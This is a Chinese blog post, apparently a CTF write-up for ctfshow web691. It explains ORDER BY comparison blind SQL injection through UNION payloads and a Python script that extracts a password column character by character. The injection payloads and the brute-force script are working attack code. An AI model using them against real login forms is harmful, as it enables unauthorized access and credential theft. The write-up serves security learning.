SQL order by 大小比较盲注
SQL order by 大小比较盲注
在做ctfshow web入门 的 web691时遇到了SQL order by 大小比较盲注问题。因为是第一次遇到,记录一下

在做题之前,我们先来探讨一下order by 比较大小盲注
在本地先自己搭建一个数据库

我们输入查询语句
SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,1 order by 3;

更换一下查询语句
SELECT * FROM `login` WHERE name=1 or 1 union SELECT 1,1,2 order by 3;

这里很明显就能看出,当用联合查询出来的passwd值1时,最终回显的是name=1而当我们输入passwd值为2时,最终回显的是name=admin即为第一条数据,并且在实际中我们不知道passwd的值,会回显一个密码错误,这样我们就可以根据回显一位一位来爆破password的值
s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
password=''
for i in range(50):
for j in s:
payload=password+j
data={
'username':"'or 1 union select 1,1,'"+payload+"' order by 3#",
'passwd':''
}
r=requests.post(url,data=data)
if "wrong pass!" in r.text:
password+=chr(ord(j)-1)
print(password)
break
回归到原题
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
首先我们先通过order by 来猜测有3个字段
#username=1' or 1 union select 1,1 order by 2#&password=1
#回显"The content in the password column is the flag!"
username=1' or 1 union select 1,1,1 order by 3#&password=1
3个字段大概率为id,username,password
username=1' or 1 union select 1,1,'c' order by 3#&password=1

返回1,表明我们输入的c的ascill码还是小
username=1' or 1 union select 1,1,'d' order by 3#&password=1

成功回显admin
但这里要注意的是我们最后获得真实值是要在回显admin时的ascii减1

如图,真实passwd的第一位是小1的
直接上脚本
import requests
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
print(s)
url="http://29a1ba96-4095-4b96-adbb-56e359b5e690.challenge.ctf.show/"
data={
'username':"or 1 union select 1,1,'{}' order by 3#",
'password':'1'
}
k=""
for i in range(1,50):
print(i)
for j in s:
data={
'username':"' or 1 union select 1,1,'{0}' order by 3#".format(k+j),
'password':'1'
}
r=requests.post(url,data=data)
#print(data['username'])
if("</code>admin" in r.text):
k=k+chr(ord(j)-1)
print(k)
break
SQL order by 大小比较盲注的更多相关文章
- 动态调试|Maccms SQL 注入分析(附注入盲注脚本)
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...
- SQL注入之Boolean型盲注
什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...
- 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入
SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- 利用order by 进行盲注
0x01 利用场景 登录代码: $username = $_POST['username']; $password = $_POST['password']; if(filter($username) ...
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
随机推荐
- Python提交 post方法之‘Content-Type‘: multipart/form-datay
最近写s2_061 Python脚本得时候遇到了POST 提交 'Content-Type': multipart/form-data 这个问题,然后查阅资料开始解决. 一.首先说一下POST 提交数 ...
- C 语言实现抽象数据类型(ADT)之链表
C 语言实现抽象数据类型(ADT)之链表 1 什么是链表?(懂跳) C 语言本身自带了很多基本数据类型,每种基本数据类型的变量总是代表着某个数据,比如:我们通常用整型变量来计数,用浮点型变量来保存价格 ...
- 6.4K star!轻松搞定专业领域大模型推理,这个知识增强框架绝了!
嗨,大家好,我是小华同学,关注我们获得"最新.最全.最优质"开源项目和高效工作学习方法 「垂直领域大模型落地难?逻辑推理总出错?这个来自OpenSPG的开源框架,让专业领域知识服务 ...
- 1.3K star!VisActor团队开源神器,3秒生成商业级图表,程序员直呼真香!
嗨,大家好,我是小华同学,关注我们获得"最新.最全.最优质"开源项目和高效工作学习方法 项目速览 VChart 是VisActor团队推出的高性能可视化解决方案,GitHub斩获2 ...
- FastAPI中的复杂查询与原子更新指南
title: FastAPI中的复杂查询与原子更新指南 date: 2025/05/02 20:33:32 updated: 2025/05/02 20:33:32 author: cmdragon ...
- 企业级分布式MCP方案
飞书原文档链接地址:https://ik3te1knhq.feishu.cn/wiki/D8kSwC9tFi61CMkRdd8cMxNTnpg 企业级分布式 MCP 方案 背景:现阶段 MCP Cli ...
- Rolldown:下一代JavaScript/TypeScript打包工具,基于Rust的JS打包工具-速度贼快
Vue 团队已正式开源 Rolldown 项目,这是一款基于 Rust 的 JavaScript 打包工具. 项目介绍 Rolldown 是使用 Rust 开发的 Rollup.js 编译工具的替代品 ...
- 鸿蒙Next开发实战教程:实现抖音长按快速评论特效
开篇点题,今天玩点花的. 不知道大家有没有发现,抖音上的评论键长按会弹出一排表情框用于快速评论,不过现在鸿蒙原生版的抖音还没有这个功能,今天幽蓝君就小试牛刀,在鸿蒙上做一下这个功能,也是应一位友友的私 ...
- SignalR服务端嵌入到WPF
用的是.net framework 4.7.2的WPF. <Window x:Class="EBServerTry.MainWindow" xmlns="http: ...
- 极简版秒表(java GUI)
package javaPractice; import javax.swing.*; import java.text.*; import java.util.*; import java.awt. ...